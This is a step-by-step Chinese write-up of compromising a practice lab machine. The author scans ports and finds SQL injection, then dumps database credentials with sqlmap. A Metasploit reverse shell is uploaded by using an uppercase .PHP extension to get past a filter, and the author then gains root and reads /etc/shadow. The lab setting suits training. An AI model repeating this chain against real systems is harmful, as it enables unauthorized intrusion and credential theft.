准备工作:
靶机:在虚拟盒子里面新建虚拟电脑,将靶机光盘文件导入进去,设置一下网络,就行了
kali机:将kali机的网络适配器改成桥接模式,网络编辑器里面vm0的外部连接设置为虚拟盒子:
1.安装好靶机之后,直接打开能够查看靶机IP;然后在kali机上面使用nmap -p- -T4 kali机IP/24查看靶机IP开启的端口:
由此我们得到开放了22和80端口 对应的服务分别是ssh和apache
2.使用命令nikto -host http://靶机IP:80 探测网页下的敏感信息:
3.根据刚刚看到的信息,我们访问一下浏览器看看:http://靶机IP/admin/login.php
需要登录,但是我们没有用户名和密码,试试弱命令(用户名和密码都写admin),然后会发现,没用
4.使用工具破解密码试试,但是我们没工具(OWASP ZAP),所以得先下载。 ①在终端里面运行 apt-get update 命令。这会下载可用于安装的包(应用和工具)的更新列表; ②一旦安装完成,执行下列命令来将非系统的包更新到最新的稳定版:apt-get upgrade ; ③运行下载命令下载:apt-get install zaproxy; 最后打开工具栏就能看见:
5.打开刚刚下载的OWASP ZAP,将靶机的URL输进去,点击“攻击”,然后点击“警报”就会看到一个“SQL注入”的高风险:
6.在“SQL注入”上双击,然后就能看到如下图,复制主要内容然后继续后面的操作:
7.把注入网址放入sqlmap进行探测:sqlmap -u "目标URL"
8.接上条命令,后面跟-dbs看看数据库:sqlmap -u "目标URL" -dbs
9.分别查看一下两个数据库里面的数据表: sqlmap -u "目标URL" -D 数据库名 -tables
10.看完数据表之后,再看看表里面的字段,因为第一个数据库里面有很多表,这里就不一一展示,重点来看看第二个数据库表里面的字段:sqlmap -u "目标URL" -D "数据库名" -T "表名" -columns
仔细看这三张表,发现user表里面有用户名和密码字段,所以我们可以从这里入手
11.接下来看看user表里字段的内容并且破解密码:sqlmap -u "目标URL" -D "数据库名" -T "表名" -C "列名,列名" -dump
12.有了用户名和密码,现在我们来登录试试:
能够登录成功,现在我们来制作反弹shell文件
13.首先看看哪些端口被占用,使用netstat -pantu:
然后使用msfvenom工具来生成反弹shell文件
14:现在准备监听 ①输入msfconsole ,打开metasploit工具的控制台, ②然后使用msf工具的侦听模块exploit/multi/handler ③设置挂载,可用于监听基于TCP协议的反向链接反弹shell, 使用起来很稳定 ④填入kali机ip,其中监听端口LPORT:4444为默认配置,此处监听端口配置需要与上文(制作反弹shell)中的php脚本中设定一致 ⑤查看挂载配置
15.开始运行run,然后将刚刚制作的shell内容复制到/home/kali"目录下的"shell.php"文件里面(没有就新建一个),另注意这个文件的后缀名要写成大写的PHP,因为小写的php会被过滤,无法上传。 上传的步骤:点击"Add a new picture",选择刚才制作的反弹shell脚本文件,点击“Add”上传
16.上传成功之后,记得点进去看看,然后回到终端,就会发现已经监听完成,成功获取反弹shell
17.接着输入id,发现被反弹回来,然后输入shell,再输入id就能看到此时我们是系统用户
18.进行提权
19.通过特殊软件进入靶机的命令交换窗口(下载链接:https://github.com/AntSwordProject/AntSword-Loader
)
20.但是我很想知道这个靶机的一些用户密码:
那该怎么做呢? 刚刚前面我们也看到关于这个靶机user用户的一些信息等等,所以入手点就是这个user用户。 那怎么知道user用户密码呢
首先进入靶机,我们拿到的靶机就是user用户名下的,那怎么提权呢直接去到/home路径下 命令:cd /home
然后再输入sudo –i
发现此时的用户就是超级用户,那怎么查看密码
去etc目录,ls一下
Cat shadow(映射密码的影子文件)
拿到uesrMD5加密密码 :8Ab05sVQ4LLps,解密后密码为:live
21.远程登录 ssh -p 22 user@靶机IP,user用户密码为:live
发现我们已经提权了